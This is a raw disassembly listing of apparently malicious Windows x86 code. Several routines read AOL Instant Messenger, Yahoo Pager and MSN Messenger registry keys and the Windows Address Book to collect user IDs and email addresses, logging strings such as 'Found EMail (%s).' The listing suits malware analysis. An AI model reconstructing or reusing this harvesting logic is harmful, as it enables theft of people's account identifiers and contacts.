		lea	ecx, [ecx+ebx+2AD7D2BBh]
		mov	ebx, ecx
		shr	ebx, 11h
		shl	ecx, 0Fh
		or	ebx, ecx
		mov	ecx, edx
		add	ebx, edi
		not	ecx
		or	ecx, ebx
		xor	ecx, edi
		add	ecx, ebp
		mov	ebp, [esi+8]
		add	ebp, ebx
		lea	eax, [eax+ecx-14792C6Fh]
		mov	ecx, [esi]
		add	ecx, edx
		mov	edx, eax
		shl	edx, 15h
		shr	eax, 0Bh
		or	edx, eax
		mov	eax, [esi+4]
		add	edx, ebx
		mov	ebx, [esi+0Ch]
		add	eax, edx
		add	ebx, edi
		mov	[esi+4], eax
		lea	eax, [esp+64h+var_40]
		push	eax
		mov	[esi], ecx
		mov	[esi+8], ebp
		mov	[esi+0Ch], ebx
		call	sub_435A60
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 40h
		retn
sub_434DA0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 260h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_435950	proc near		; CODE XREF: sub_434D10+14p
					; sub_434D10+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		mov	edi, [esp+4+arg_8]
		test	edi, edi
		jbe	short loc_435997
		mov	edx, [esp+4+arg_0]
		mov	ecx, [esp+4+arg_4]
		push	esi
		or	esi, 0FFFFFFFFh
		lea	eax, [edx+1]
		sub	esi, edx


loc_43596A:				; CODE XREF: sub_435950+44j
		mov	dl, [ecx]
		add	ecx, 4
		mov	[eax-1], dl
		mov	edx, [ecx-4]
		shr	edx, 8
		mov	[eax], dl
		mov	edx, [ecx-4]
		shr	edx, 10h
		mov	[eax+1], dl
		mov	edx, [ecx-4]
		shr	edx, 18h
		mov	[eax+2], dl
		add	eax, 4
		lea	edx, [esi+eax]
		cmp	edx, edi
		jb	short loc_43596A
		pop	esi


loc_435997:				; CODE XREF: sub_435950+7j
		pop	edi
		retn
sub_435950	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4359C0	proc near		; CODE XREF: sub_434DA0+26p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebp
		mov	ebp, [esp+4+arg_8]
		test	ebp, ebp
		jbe	short loc_435A0A
		mov	ecx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, 0FFFFFFFEh
		lea	eax, [ecx+2]
		sub	edi, ecx


loc_4359DD:				; CODE XREF: sub_4359C0+46j
		xor	ecx, ecx
		xor	edx, edx
		mov	ch, [eax+1]
		mov	dl, [eax-1]
		mov	cl, [eax]
		add	eax, 4
		shl	ecx, 8
		or	ecx, edx
		xor	edx, edx
		mov	dl, [eax-6]
		add	esi, 4
		shl	ecx, 8
		or	ecx, edx
		mov	[esi-4], ecx
		lea	ecx, [edi+eax]
		cmp	ecx, ebp
		jb	short loc_4359DD
		pop	edi
		pop	esi


loc_435A0A:				; CODE XREF: sub_4359C0+7j
		pop	ebp
		retn
sub_4359C0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_435A30	proc near		; CODE XREF: sub_434C30+4Ep
					; sub_434C30+9Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		test	esi, esi
		jbe	short loc_435A4C
		mov	eax, [esp+4+arg_0]
		mov	ecx, [esp+4+arg_4]
		sub	ecx, eax


loc_435A43:				; CODE XREF: sub_435A30+1Aj
		mov	dl, [ecx+eax]
		mov	[eax], dl
		inc	eax
		dec	esi
		jnz	short loc_435A43


loc_435A4C:				; CODE XREF: sub_435A30+7j
		pop	esi
		retn
sub_435A30	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_435A60	proc near		; CODE XREF: sub_434D10+60p
					; sub_434DA0+932p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		test	ecx, ecx
		jbe	short locret_435A8E
		mov	al, [esp+arg_4]
		push	ebx
		mov	bl, al
		mov	edx, ecx
		mov	bh, bl
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, ebx
		shl	eax, 10h
		mov	ax, bx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb
		pop	edi
		pop	ebx

locret_435A8E:				; CODE XREF: sub_435A60+6j
		retn
sub_435A60	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_435AA0	proc near		; CODE XREF: sub_401C21j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_435AA0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	0
		push	0Bh
		push	3
		push	4Fh
		push	14h
		push	5
		lea	eax, [esp+58h+var_3C]
		push	7
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_435AA0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	0Dh
		push	4Fh
		push	14h
		push	5
		lea	edx, [esp+30h]
		push	7
		push	edx
		call	sub_4019C4
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_4017EE
		add	esi, 32h
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_435B90:				; CODE XREF: ___:loc_401F3Cj
		push	0FFFFFFFFh
		mov	eax, large fs:0
		push	offset loc_43D116
		push	eax
		mov	eax, 16D4h
		mov	large fs:0, esp
		call	sub_437B30
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+16F0h]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+4]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_436148
		push	80h
		mov	dword ptr [esp+1Ch], 800h
		nop
		call	near ptr 77C2C407h
		add	esp, 4
		mov	ebp, eax
		lea	eax, [esp+64h]
		mov	ecx, esi
		push	offset asc_444600 ; " "
		push	1
		push	eax
		call	sub_4016B8
		push	800h
		mov	dword ptr [esp+16F0h], 0
		call	sub_437AEA
; ---------------------------------------------------------------------------
		db 8Bh
		dd 51172C1Dh, 4C48300h,	0B9F88Bh, 33000002h, 0D43D89C0h
		dd 0F3005103h, 778CBEABh, 4E8B0044h, 4C8D51FCh,	2DE85024h
		dd 8DFFFCBCh, 0C664244Ch, 16EC2484h, 0E8010000h, 0FFFCB889h
		dd 1B2C3D8Bh, 0FF500051h, 4C483D7h, 4C244C8Dh, 0B873E850h
		dd 0FF50FFFCh, 4C483D7h, 0E9E89050h, 8377811Fh,	0C08508C4h
		dd 26A840Fh, 3E810000h,	80000001h, 9B840Fh, 568B0000h
		dd 0F0685204h, 55004445h, 6373E890h, 0B9001Ch, 33000002h
		dd 24BC8DC0h, 6F0h, 0F30CC483h,	100B9ABh, 0D8BF0000h, 0F3005103h
		dd 3D4A1ABh, 4C8D0051h,	948D1824h, 6E424h, 0C75100h, 0
		dd 5208468Bh, 6A006Ah, 0FF006A50h, 75C085D3h, 0FC568B3Ch
		dd 0F424BC8Bh, 8D000016h, 6E4248Ch, 52510000h, 444D2868h
		dd 694F8D00h, 0FCB7D8E8h, 938F8AFFh, 50000000h,	94878Ah
		dd 51500000h, 4D807568h, 0BB39E800h, 0C483FFFCh, 0E8006A1Ch
		dd 24EA5D0h, 81168B90h,	1FAh, 0B5850F80h, 0A0000001h, 448F30h
		dd 40B9h, 24848800h, 0E0h, 0BC8DC033h, 0E124h, 2444C700h
		dd 10428h, 66ABF300h, 4C8DAAABh, 448D4424h, 50513024h
		dd 48244C8Dh, 4024448Dh, 4C8D5051h, 448D3C24h, 50514424h
		dd 54244C8Dh, 2C24448Dh, 4C8D5051h, 6A4824h, 424848Dh
		dd 51000001h, 44C75250h, 4424h,	0E8900000h, 249A25Ch, 1424448Bh
		dd 840FC085h, 13Ch, 0C085FF33h,	24247C89h, 12E860Fh, 4C8D0000h
		dd 548D4424h, 6A512024h, 6A006A00h, 24848D00h, 0EF4h, 68575052h
		dd 80000003h, 402444C7h, 800h, 0A216E890h, 0C085024Ah
		dd 0E9850Fh, 4E8B0000h,	24948D04h, 0EE4h, 84685251h, 55004446h
		dd 20244489h, 1C6204E8h, 0B99000h, 33000002h, 24BC8DC0h
		dd 6F4h, 0F310C483h, 100B9ABh, 0D8BF0000h, 0F3005103h
		dd 24448DABh, 19685010h, 6A000200h, 3685500h, 0E8800000h
		dd 251A3EDh, 8468B90h, 18244C8Dh, 0E424948Dh, 51000006h
		dd 14244C8Bh, 6A006A52h, 0FF515000h, 74C085D3h,	24548B0Bh
		dd 0E8905210h, 24EA488h, 8D08568Bh, 8D182444h, 6E4248Ch
		dd 8B500000h, 51142444h, 6A006Ah, 0D3FF5052h, 3C75C085h
		dd 8BFC568Bh, 16F424BCh, 8C8D0000h, 6E424h, 68525100h
		dd 444D28h, 0E8694F8Dh,	0FFFCB62Dh, 938F8Ah, 8A500000h
		dd 9487h, 68515000h, 4D8075h, 0FCB98EE8h, 1CC483FFh, 1024548Bh
		dd 0A422E852h, 8B90024Eh, 8B24247Ch, 47142444h,	7C89F83Bh
		dd 820F2424h, 0FFFFFED2h, 4C244C8Dh, 0EC2484C6h, 16h, 0FCB329E8h
		dd 10C683FFh, 79DCFE81h, 8C0F0044h, 0FFFFFD2Ah,	17642D8Bh
		dd 448D0051h, 68501C24h, 20019h, 6868006Ah, 6800447Bh
		dd 80000002h, 302444C7h, 0
		dd 2C2444C7h, 80h, 448BD5FFh, 4C8D1C24h, 948D1824h, 2E424h
		dd 6A525100h, 68006A00h, 448A24h, 85D3FF50h, 0BE850FC0h
		dd 68000000h, 104h, 649DE890h, 8C8D777Fh, 2E824h, 7B5C6800h
		dd 0F08B0044h, 8A146851h, 0E8560044h, 1C608Dh, 4E646890h
		dd 90560044h, 80907FE8h, 83F88B77h, 0FF851CC4h,	8D577574h
		dd 802494h, 646A0000h, 6E89052h, 837780ACh, 0C0850CC4h
		dd 448D5374h, 0FC687C24h, 50004489h, 1C9EE890h,	0C4837781h
		dd 75C08508h, 24948B3Ch, 16F4h,	7C244C8Dh, 89E06851h, 4A8D0044h
		dd 0B4FBE869h, 8B50FFFCh, 17002484h, 888A0000h,	94h, 93908Ah
		dd 52510000h, 4D807568h, 0B855E800h, 0C483FFFCh, 0E8905718h
		dd 7780AAA5h, 8504C483h, 560A74F6h, 6201E890h, 0C483777Fh
		dd 24448B04h, 0E890501Ch, 24EA2D0h, 1C244C8Dh, 182444C7h
		dd 80h,	196851h, 6A0002h, 4489B868h, 26800h, 0D5FF8000h
		dd 1C244C8Bh, 1824548Dh, 0E424848Dh, 52000002h,	6A006A50h
		dd 8A246800h, 0FF510044h, 0FC085D3h, 0B785h, 1046800h
		dd 90E80000h, 90777F63h, 0E824948Dh, 68000002h,	4489B0h
		dd 6852F08Bh, 4489A0h, 7EE89056h, 68001C5Fh, 444E64h, 71E89056h
		dd 8B77808Fh, 1CC483F8h, 6E74FF85h, 24848D57h, 80h, 9050646Ah
		dd 80AAF8E8h, 0CC48377h, 4C74C085h, 7C244C8Dh, 44898468h
		dd 0E8905100h, 77811B90h, 8508C483h, 8B3575C0h,	16F4249Ch
		dd 548D0000h, 68527C24h, 448968h, 0E8694B8Dh, 0FFFCB3EDh
		dd 938B8Ah, 8A500000h, 9483h, 68515000h, 4D8075h, 0FCB74EE8h
		dd 18C483FFh, 9EE89057h, 837780A9h, 0F68504C4h,	0E8560A74h
		dd 777F60FBh, 4C48390h,	1C24548Bh, 0C9E89052h, 8D024EA1h
		dd 0C764244Ch, 16EC2484h, 0FFFF0000h, 0E3E8FFFFh, 0E9FFFCB0h
		dd 184h
; ---------------------------------------------------------------------------


loc_436148:				; CODE XREF: ___:00435BD1j
		lea	ecx, [edi+32h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4362CC
		lea	eax, [esp+10h]
		push	eax
		push	0F003Fh
		push	0
		push	offset aSoftwareAmeric ; "Software\\America Online\\AOL	Instant	Mes"...
		push	80000001h
		call	near ptr 2950231h
		nop
		test	eax, eax
		jnz	loc_4362CC
		mov	ecx, 40h
		lea	edi, [esp+1E4h]
		rep stosd
		lea	ecx, [esp+14h]
		lea	edx, [esp+1E4h]
		push	ecx
		mov	ecx, [esp+14h]
		lea	eax, [esp+24h]
		push	edx
		push	eax
		push	0
		push	offset dword_448900
		push	ecx
		mov	dword ptr [esp+2Ch], 100h
		nop
		call	near ptr 2900000h
		test	eax, eax
		jz	short loc_4361D2
		mov	edx, [esp+10h]
		push	edx
		call	near ptr 29202F8h
		nop
		jmp	loc_4362CC
; ---------------------------------------------------------------------------


loc_4361D2:				; CODE XREF: ___:004361C0j
		mov	eax, [esp+14h]
		mov	ecx, [esp+10h]
		mov	ebp, dword_511740
		push	ecx
		mov	byte ptr [esp+eax+1E8h], 0
		call	ebp
		lea	edx, [esp+1E4h]
		lea	ebx, [esi+69h]
		push	edx
		push	offset dword_4488F4
		mov	ecx, ebx
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h
		lea	edx, [esp+10h]
		push	edx
		push	0F003Fh
		push	0
		push	offset aSoftwareYahooP ; "Software\\Yahoo\\Pager"
		push	80000001h
		call	near ptr 2950231h
		nop
		test	eax, eax
		jnz	loc_4362CC
		mov	ecx, 40h
		lea	edi, [esp+0E0h]
		rep stosd
		lea	eax, [esp+14h]
		lea	ecx, [esp+0E0h]
		push	eax
		mov	eax, [esp+14h]
		lea	edx, [esp+24h]
		push	ecx
		push	edx
		push	0
		push	offset aYahooUserId ; "Yahoo! User ID"
		push	eax
		mov	dword ptr [esp+2Ch], 100h
		nop
		call	near ptr 2900000h
		test	eax, eax
		jz	short loc_436289
		mov	ecx, [esp+10h]
		push	ecx
		call	ebp
		jmp	short loc_4362CC
; ---------------------------------------------------------------------------


loc_436289:				; CODE XREF: ___:0043627Ej
		mov	edx, [esp+14h]
		mov	eax, [esp+10h]
		push	eax
		mov	byte ptr [esp+edx+1E8h], 0
		call	ebp
		lea	ecx, [esp+0E0h]
		push	ecx
		push	offset aYahooS	; "yahoo: %s"
		mov	ecx, ebx
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h


loc_4362CC:				; CODE XREF: ___:0043615Aj
					; ___:0043617Ej ...
		mov	ecx, [esp+16E4h]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 16E0h
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 1E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4364D0	proc near		; CODE XREF: sub_4016FEj

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4364D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	5
		push	4Fh
		push	14h
		push	5
		lea	eax, [esp+3Ch+var_24]
		push	7
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_4017EE
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_4364D0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_436570:				; CODE XREF: ___:loc_401FF5j
		sub	esp, 6CCh
		add	ecx, 4
		push	ebx
		push	ebp
		push	esi
		push	edi
		call	sub_4017EE
		mov	ebp, [esp+6E0h]
		push	eax
		lea	ecx, [ebp+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_43680E
		lea	eax, [esp+14h]
		mov	dword ptr [esp+20h], 320h
		push	eax
		push	0F003Fh
		push	0
		push	offset aSoftwareMicr_1 ; "Software\\Microsoft\\WAB\\WAB4\\Wab File Na"...
		push	80000001h
		call	near ptr 2950231h
		nop
		mov	eax, [esp+14h]
		test	eax, eax
		jz	loc_43680E
		lea	ecx, [esp+20h]
		lea	edx, [esp+1D8h]
		push	ecx
		push	edx
		push	0
		push	0
		push	offset byte_448F30
		push	eax
		nop
		call	near ptr 2900000h
		mov	eax, [esp+14h]
		push	eax
		call	near ptr 29202F8h
		nop
		push	0
		push	80h
		push	4
		push	0
		push	1
		lea	ecx, [esp+1ECh]
		push	80000000h
		push	ecx
		call	near ptr 286040Ah
		nop
		push	0
		push	0
		push	0
		mov	edi, eax
		push	2
		push	0
		push	edi
		mov	[esp+34h], edi
		call	near ptr 2730000h
		nop
		mov	ebx, eax
		test	ebx, ebx
		mov	[esp+24h], ebx
		jnz	short loc_436649
		push	edi
		call	near ptr 2840A54h
		nop
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 6CCh
		retn	4
; ---------------------------------------------------------------------------


loc_436649:				; CODE XREF: ___:00436631j
		push	0
		push	0
		push	0
		push	4
		push	ebx
		nop
		call	near ptr 27306EEh
		mov	esi, eax
		test	esi, esi
		jnz	short loc_436679
		mov	esi, dword_5118E0
		push	ebx
		call	esi
		push	edi
		call	esi
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 6CCh
		retn	4
; ---------------------------------------------------------------------------


loc_436679:				; CODE XREF: ___:0043665Cj
		xor	edx, edx
		xor	eax, eax
		mov	dh, [esi+63h]
		mov	ah, [esi+61h]
		mov	dl, [esi+62h]
		and	eax, 0FFFFh
		movsx	ecx, byte ptr [esi+64h]
		shl	edx, 10h
		or	edx, eax
		xor	eax, eax
		mov	al, [esi+60h]
		or	edx, eax
		mov	eax, ecx
		shl	eax, 4
		add	eax, ecx
		shl	eax, 2
		test	eax, eax
		jle	short loc_436718
		lea	ecx, [eax+43h]
		mov	eax, 0F0F0F0F1h
		lea	edi, [edx+esi]
		mul	ecx
		mov	ebx, edx
		shr	ebx, 6


loc_4366BB:				; CODE XREF: ___:0043670Ej
		xor	eax, eax
		mov	ecx, edi


loc_4366BF:				; CODE XREF: ___:004366CFj
		mov	dl, [ecx]
		add	ecx, 2
		mov	[esp+eax+0ACh],	dl
		inc	eax
		cmp	eax, 44h
		jle	short loc_4366BF
		lea	eax, [esp+0ACh]
		lea	ecx, [ebp+69h]
		push	eax
		push	offset aFoundEmailS_ ; "Found EMail (%s)."
		mov	byte ptr [esp+0F8h], 0
		call	sub_4014DD
		mov	cl, [ebp+94h]
		mov	dl, [ebp+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h
		add	edi, 44h
		dec	ebx
		jnz	short loc_4366BB
		mov	ebx, [esp+24h]
		mov	edi, [esp+1Ch]


loc_436718:				; CODE XREF: ___:004366A7j
		push	edi
		mov	edi, dword_5118E0
		call	edi
		push	esi
		call	near ptr 27308DCh
		nop
		push	ebx
		call	edi
		lea	eax, [esp+18h]
		push	eax
		push	0F003Fh
		push	0
		push	offset aSoftwareMicr_2 ; "Software\\Microsoft\\MessengerService\\Lis"...
		push	80000001h
		nop
		call	near ptr 2950231h
		test	eax, eax
		jnz	loc_43680E
		mov	ebx, dword_511C00
		mov	dword ptr [esp+10h], 400h
		mov	dword ptr [esp+28h], 3
		xor	esi, esi


loc_436767:				; CODE XREF: ___:004367FEj
		mov	ecx, 20h
		xor	eax, eax
		lea	edi, [esp+2Ch]
		push	esi
		rep stosd
		lea	ecx, [esp+30h]
		push	offset dword_448A40
		push	ecx
		call	ebx
		mov	ecx, 100h
		xor	eax, eax
		lea	edi, [esp+2E8h]
		add	esp, 0Ch
		rep stosd
		lea	edx, [esp+10h]
		lea	eax, [esp+2DCh]
		push	edx
		lea	ecx, [esp+2Ch]
		push	eax
		mov	eax, [esp+20h]
		push	ecx
		lea	edx, [esp+38h]
		push	0
		push	edx
		push	eax
		inc	esi
		mov	dword ptr [esp+28h], 400h
		nop
		call	near ptr 2900000h
		test	eax, eax
		jnz	short loc_436803
		lea	ecx, [esp+2DCh]
		push	ecx
		push	offset dword_448A34
		lea	ecx, [ebp+69h]
		call	sub_4014DD
		mov	dl, [ebp+94h]
		push	eax
		mov	al, [ebp+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h
		push	64h
		call	near ptr 284020Fh
		nop
		jmp	loc_436767
; ---------------------------------------------------------------------------


loc_436803:				; CODE XREF: ___:004367C3j
		mov	ecx, [esp+18h]
		push	ecx
		call	near ptr 29202F8h
		nop


loc_43680E:				; CODE XREF: ___:00436594j
					; ___:004365C4j ...
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 6CCh
		retn	4
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 0B0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4368D0	proc near		; CODE XREF: sub_401E65j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4368D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	0
		push	7
		push	5
		push	12h
		push	4Fh
		push	14h
		push	5
		lea	eax, [esp+5Ch+var_3C]
		push	7
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_40168B
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_4368D0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	0Bh
		push	17h
		push	4Fh
		push	14h
		push	5
		lea	edx, [esp+34h]
		push	7
		push	edx
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_40168B
		add	esi, 32h
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4369E0	proc near		; CODE XREF: sub_401E6Aj

var_135		= byte ptr -135h
var_134		= dword	ptr -134h
var_130		= dword	ptr -130h
var_12C		= dword	ptr -12Ch
var_128		= byte ptr -128h
var_124		= byte ptr -124h
var_110		= dword	ptr -110h
var_10C		= byte ptr -10Ch
var_108		= byte ptr -108h
var_8C		= byte ptr -8Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_4369E0
		push	eax
		mov	large fs:0, esp
		sub	esp, 12Ch
		push	ebx
		push	esi
		mov	esi, [esp+140h+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+4]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_436EB7
		push	ebp
		xor	ebp, ebp
		push	ebp
		push	offset asc_444600 ; " "
		lea	eax, [esp+150h+var_128]
		push	1
		push	eax
		mov	ecx, esi
		mov	[esp+158h+var_134], ebp
		mov	[esp+158h+var_130], 80h
		call	sub_4011EA
		lea	ecx, [esp+148h+var_134]
		mov	[esp+148h+var_4], ebp
		push	ecx
		push	20019h
		push	ebp
		mov	ecx, eax
		call	sub_4017EE
		mov	edi, dword_511764
		push	eax
		push	80000001h
		call	edi
		or	ebx, 0FFFFFFFFh
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		call	sub_401226
		push	ebp
		push	offset asc_444600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+144h+var_12C]
		lea	edx, [esp+144h+var_108]
		push	ecx
		push	edx
		push	ebp
		push	ebp
		mov	ecx, eax
		mov	dword ptr [esp+154h], 1
		call	sub_4017EE
		mov	ebp, dword_51172C
		push	eax
		mov	eax, [esp+158h+var_130]
		push	eax
		call	ebp
		test	eax, eax
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		setz	byte ptr [esp+144h+var_134+3]
		call	sub_401226
		mov	al, byte ptr [esp+144h+var_134+3]
		test	al, al
		jz	short loc_436B0C
		lea	ecx, [esp+144h+var_108]
		push	ecx
		push	(offset	loc_448B83+1)
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h


loc_436B0C:				; CODE XREF: sub_4369E0+FCj
		mov	ecx, [esp+144h+var_130]
		push	ecx
		call	near ptr 29202F8h
		nop
		push	0
		push	offset asc_444600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+154h+var_12C], 80h
		call	sub_4011EA
		lea	ecx, [esp+144h+var_130]
		mov	dword ptr [esp+144h], 2
		push	ecx
		push	20019h
		push	0
		mov	ecx, eax
		call	sub_4017EE
		push	eax
		push	80000002h
		call	edi
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		call	sub_401226
		push	0
		push	offset asc_444600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+144h+var_12C]
		lea	edx, [esp+144h+var_108]
		push	ecx
		push	edx
		push	0
		push	0
		mov	ecx, eax
		mov	dword ptr [esp+154h], 3
		call	sub_4017EE
		push	eax
		mov	eax, [esp+158h+var_130]
		push	eax
		call	ebp
		test	eax, eax
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		setz	byte ptr [esp+144h+var_134+3]
		call	sub_401226
		mov	al, byte ptr [esp+144h+var_134+3]
		test	al, al
		jz	short loc_436BF4
		lea	ecx, [esp+144h+var_108]
		push	ecx
		push	(offset	loc_448B77+1)
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h


loc_436BF4:				; CODE XREF: sub_4369E0+1E4j
		mov	ecx, [esp+144h+var_130]
		push	ecx
		call	near ptr 29202F8h
		nop
		push	0
		push	offset asc_444600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+154h+var_12C], 80h
		call	sub_4011EA
		lea	ecx, [esp+144h+var_130]
		mov	dword ptr [esp+144h], 4
		push	ecx
		push	20019h
		push	0
		mov	ecx, eax
		call	sub_4017EE
		push	eax
		push	80000005h
		call	edi
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		call	sub_401226
		push	0
		push	offset asc_444600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+144h+var_12C]
		lea	edx, [esp+144h+var_108]
		push	ecx
		push	edx
		push	0
		push	0
		mov	ecx, eax
		mov	dword ptr [esp+154h], 5
		call	sub_4017EE
		push	eax
		mov	eax, [esp+158h+var_130]
		push	eax
		call	ebp
		test	eax, eax
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		setz	byte ptr [esp+144h+var_134+3]
		call	sub_401226
		mov	al, byte ptr [esp+144h+var_134+3]
		test	al, al
		jz	short loc_436CDC
		lea	ecx, [esp+144h+var_108]
		push	ecx
		push	offset loc_448B6C
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
